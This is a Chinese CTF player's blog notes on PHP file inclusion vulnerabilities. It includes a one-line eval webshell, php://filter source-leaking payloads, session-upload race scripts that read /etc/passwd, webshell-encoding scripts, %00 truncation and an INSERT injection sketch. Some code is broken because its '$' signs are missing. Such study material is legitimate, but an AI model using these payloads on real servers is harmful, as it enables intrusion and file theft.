3rsh1
/single dog/college student/ctfer
3rsh1's Blog

文件包含

文件包含

文件包含:就是为了方便,把相同的函数写到一个文件里,这样需要函数的时候就可以直接调用文件就可以了。不用再编写函数。

漏洞:为了方便起见会把文件看作一个变量,在必要的时候调用变量包含文件。这样的话就有可能被利用包含恶意文件,或进行恶意读取。

index.php?pagr=aaa&func=bbb//调用aaa文件内的bbb函数
include();//括号内跟路径和文件名就可以了,也可以跟变量。
include_once();
require();
require_once();

若是include()一个不存在的文件,则后续代码还是会执行的。但是如果require()一个不存在的文件则后续代码不会执行。但之前的代码都是可以执行的。

require_once()这个函数只能包含一次,若是用此函数包含第二次的话就不会再生效了,估计include_once()也差不多吧。

本地文件包含:

就是包含服务器端的文件,比如说包含界面和需要包含的内容在同一段则可称为本币文件包含。

包含的文件不一定是php文件,不管后缀名是什么乱七八糟的东西。只要文件内含有一段完整的php代码即可。

对于不可执行文件,就是其内没有可执行的代码,就会直接读取文件内容。

/etc/password

小提一下pass方法:

对于<?php ?>被过滤,可以用以下形式back-door:

<script language=php>
@eval($_POST['cmd']);
</script>

需要注意的是,post需要大写,害,真的是万万没想到。

远程文件包含:

顾名思义,就不是包含的同一端的文件呗。

远程文件包含需要的条件。
allow_url_fopen//激活了url形式的fopen封装协议使得可以访问url对象,默认的封装协议支持ftp和http协议访问文件。
allow_url_include//一些函数就可以使用了。

如果后缀名写死,可以用?来绕过。因为?之后是加参数的,只要参数不对要读取的文件有影响即可。

一些伪协议:

file:// 访问本地文件系统
http:// 访问网址。
ftp:// 访问ftp的url
php:// 访问输入输出流。
zlib:// 访问压缩数据流
phar:// php文件归档
rar:// RAR
zip:// zip 压缩流

关于伪协议我的感觉就是类似于文件打开器,比如说:

zip://achieve.zip#dir/file.txt

这样的话就可以读取到压缩包内的内容,但是平时我们在网页上访问文件时是不可以直接访问压缩包文件的。

对于phar://伪协议,像Java有jar包,PHP也对应。这样就需要用phar://伪协议去读取此类文件,其实如果直接用来读取压缩包的话也是可以的。只不过语句上会有点不同,即把#换为/。

phar://achieve.zip/dir/file.txt

好像也可以把压缩包的后缀改为jpg也是可以的,这样看来前面的伪协议只是告诉你以何种方式去读取文件。实际上,他在读取文件时显的非常全能。

php://filter:等内容:

对于php://filter,是一个php独有的一个协议。可以作为中间部分来处理数据流,来实现任意文件的读取。filter就是过滤器的意思。自然而然的想到其会有一些用处。

php://filter/read=string.toupper/resource=index.php
php://filter/read=string.toupper|string.rot13/resource=index.php
https://www.3rsh1.cool/wp-content/uploads/2020/04/wp_editor_md_34902daa1c800dd49a83db583fc68b34.jpg

read和write参数都是可选的,如果莫得参数的话,会视情况而定是读还是写。

这样就可以发现一些规律了,resource是一定要有的,read或者write也可以加,中间是对数据流的操作。比如说大写,加密,编码等。中间若需要多个操作应需要用|管道符分隔。

php://filter/read=convert.base64-encode/resource=index.php//这是一个应用。

对于php://input,接受的是原始的post数据,有点类似于传文件。需要的条件是:

allow_url_open=on
file_get_content("php://input")

对于上面的这个函数,貌似就是比较奇怪的一个组合,表示的就是读取网页传来的post数据。因为本来file_get_content()函数内必须的参数就是文件名,而php://input则像一个文件名了,此文件内是post来的数据,当然这只是一种假设。明天再深究以下。

日志文件:

web请求会被写到日志里面,就拿apache来说,web请求会被写到access.log里面,错误请求会被写到error.log里面。默认情况下,apache的日志被保存在:

/var/log/apache2/
index.php?<?php phpinfo();?>

上述请求就会被记录到日记里面,推测会不会可以用phar://读。但是一般是读不到这个日志文件的,因为权限不够。

session:

session是放在服务器端的,cookie是放在客户端的。猜测可能是一种相对关系。php默认生成的session文件存放在/tmp目录下。

当然session存放的路径也可以有phpinfo()的页面内种的session_save_path查看。

session就是服务器里面的一块内存,内存里面能放任何东西,只要是名值对就可以了。

例题payload:

http://chinalover.sinaapp.com/web7/
http://chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

可得页面base64编码:

PGh0bWw+CiAgICA8dGl0bGU+YXNkZjwvdGl0bGU+CiAgICAKPD9waHAKCWVycm9yX3JlcG9ydGluZygwKTsKCWlmKCEkX0dFVFtmaWxlXSl7ZWNobyAnPGEgaHJlZj0iLi9pbmRleC5waHA/ZmlsZT1zaG93LnBocCI+Y2xpY2sgbWU/IG5vPC9hPic7fQoJJGZpbGU9JF9HRVRbJ2ZpbGUnXTsKCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpewoJCWVjaG8gIk9oIG5vISI7CgkJZXhpdCgpOwoJfQoJaW5jbHVkZSgkZmlsZSk7IAovL2ZsYWc6bmN0ZntlZHVsY25pX2VsaWZfbGFjb2xfc2lfc2lodH0KCj8+CjwvaHRtbD4=

转码发现flag:

<html>
    <title>asdf</title>

<?php
    error_reporting(0);
    if(!_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}file=_GET['file'];
    if(strstr(file,"../")||stristr(file, "tp")||stristr(file,"input")||stristr(file,"data")){
        echo "Oh no!";
        exit();
    }
    include(file); 
//flag:nctf{edulcni_elif_lacol_si_siht}

?>
</html>

——2020年2月26日21点26分


php.ini中的session.upload_proress参数默认开启。

开启时起到检测上传文件进度的作用,这样联想session到是一块内存就有点理解了。因为是一块内存,所以只有程序运行的时候才存在。上传完成后session文件删除,但是在上传过程中是可以操作session文件的,包括文件名和文件内的内容。若是用phar伪协议读取此session文件的话,应该可以起到文件包含的作用。

curl url -H 'Cookie:PHPSESSID=iamnotorange' -F PHP_SESSION_UPLOAD_PROGRESS=aaaaa -F file='@/etc/password'
-F 应该就是传送一个表单的意思,类似于post吧。
-H header 可以设置头信息。

这里需要补充的一点内容是:

session文件名:sess_PHPSESSID
这里的PHPSESSID其实就是Cookie的内容。
PHP_SESSION_UPLOAD_PROGRESS参数的值是会被写到session文件内的,且就在开头位置。
UPLOAD_PROGRESS_+值

例题:

这里放一个getsession的脚本:

import os
from multiprocessing.dummy import Pool as threadpool

sessname='iamnotorange'
def runner(i):
    cmd="curl -s url -H 'Cookie:PHPSESSID=%s' -F PHP_SESSION_UPLOAD_PROGRESS=aaaaa -F file='@/etc/passwd' 1>/dev/null" %sessname
    os.system(cmd)
    os.system("xxd /var/lib/php/sessions/sess_%s"%sessname)
pool=threadpool(30)
result=pool.map_async(runner,range(30)).get(0xffff)

第一次复现:写了点脚本,然后部分操作用bp完成,第二次复现争取全脚本操作。

第一个脚本:

<?php
/**
 * @Author: Marte
 * @Date:   2020-03-02 19:31:38
 * @Last Modified by:   Marte
 * @Last Modified time: 2020-03-02 20:08:23
 */
perfix="upload_progress_";word="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+/";
for(i=0;i<64;i++){data1=perfix.substr(word,i,1);
    for(j=0;j<64;j++){
        data=data1.substr(word,j,1);
        result=preg_replace('/[^a-zA-Z0-9+\/]+/s','',base64_decode(data));
        if(strlen(result)==4){
            if(preg_replace('/[^a-zA-Z0-9+\/]+/s','',base64_decode(result))==null){
                echo $data."\n";
            }
        }
    }
}
?>

第二个脚本;

<?php
/**
 * @Author: Marte
 * @Date:   2020-03-02 20:45:36
 * @Last Modified by:   Marte
 * @Last Modified time: 2020-03-02 21:16:39
 */
str1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890+/';webshell="<?php phpinfo();?>";
webshell1=webshell;
c=1;
while(c==1){
    webshell1="<?php phpinfo();?>";
    for(i=0;i<9;i++){
        webshell1=webshell1.str1[rand(0,63)];
    }data=preg_replace('/[^a-zA-Z0-9+\/]+/s','',base64_encode(webshell1));data2=preg_replace('/[^a-zA-Z0-9+\/]+/s','',base64_encode(data));data3=preg_replace('/[^a-zA-Z0-9+\/]+/s','',base64_encode(data2));
    if((strlen(data)%3===0)&&(strlen(data2)%3===0)){
        echodata3;
        $c=0;
    }
}


?>

这里再根据例题补充以下base64编码的知识:

一个字符由8个二进制位组成,但是一个base64字符由6个二进制位组成。所以3个普通字符可以不加删改的编码成4个base64字符。所以便以此为标准。

一个普通字符转化为二进制前6位编码成base64字符,后面两位加00补齐作为一个新的base64字符。
但一般是以4个base64字符组成,缺少的编码字符用==补位。

且,对于base64编码,越编越长,越解码越短。编码之后是原字符串数量的4/3。

php中,在解码过程中,当剩余的编码字符无法再组成为一个普通字符时,再进行编码后,返回的结果就为空。而且,编码过程中若是剩余的位数不足8位,剩余的位数也会被舍弃。

https://www.3rsh1.cool/wp-content/uploads/2020/04/wp_editor_md_054b5bac4c1a6695af21b44e935aef56.jpg
若是在,编码字符串内部有=号的话,进行解码时,=号并不起作用。
因为,在编码过程中,=补充的是一个完整的编码字符,因此解码时也会把=看作一个本质为空的编码字符。
那么再深究以下的话,php在解码时会做一个正则匹配。把所有不在base64编码的64个字符中的字符转换为空格(空)。

phpinfo文件中有个open_basedir是我们可以查看的文件目录。

且session存在的位置和open_basedir的内容有关。

远古截断:

%00截断版本低于5.3.4有效:

<?php
include "'$_GET['a']'.'.php';
?>


http://192.168.1.128/1.php/?a=phpinfo.txt%00

../截断,版本低于5.2.8有效,操作方法同上。要注意的是,Linux需要文件名长于4096,Windows需要文件名长于256。

其他:

以表单形式通过一个php页面去上传文件时,不管怎样都会生成一个临时文件。如果php并不需要此文件的话,会立刻删除。

临时文件的路径和文件名可以通过phpinfo文件获知。那么在这种情况下可能就需要竞争式读取此文件来getshell

脚本如下:

<!doctype html>
<html>
<body>
    <form action="http://192.168.1.128/phpinfo.php" method="POST" enctype="multipart/form-data">
    <h3>test upload tmp file</h3>
    <label for="file">Filename:</label>
    <input type="file" name="file"/><br/>
    <input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

所生成的临时文件可以在:

phpinfo文件中的,FILE['file']栏中的,tmp_name参数中可以看到。

——2020年2月28日 21点56分


自包含的情况:

前文说到了,在用表单形式上传文件时会自动生成一个临时文件,但是临时文件很快就会被删掉。因此就可以思考,可不可以让他不被删掉。这样的话应该也可以用来文件包含。

在将自身包含进来的时候,会形成无限递归。即,不断的包含自己本身。直到PHP爆栈,以至于无法处理此次请求的后续处理。实际上,php爆栈后会重启php但是不会重启中间件。

一个小例题的思路:

insert into table1 values(1,2,3,'secret_id');
insert into table1 values('1','2','3', ' 注入'),('注入1','注入2','注入3 ','secret_id');

其中需要注意的可能时,insert是可以接两条记录的。

若是在insert的记录中存在校验码一类的东西就可以用上面的方法注入。

发表评论

textsms
account_circle
email

3rsh1's Blog

文件包含
文件包含 文件包含:就是为了方便,把相同的函数写到一个文件里,这样需要函数的时候就可以直接调用文件就可以了。不用再编写函数。 漏洞:为了方便起见会把文件看作一个变量,在必要的…
扫描二维码继续阅读
2020-04-19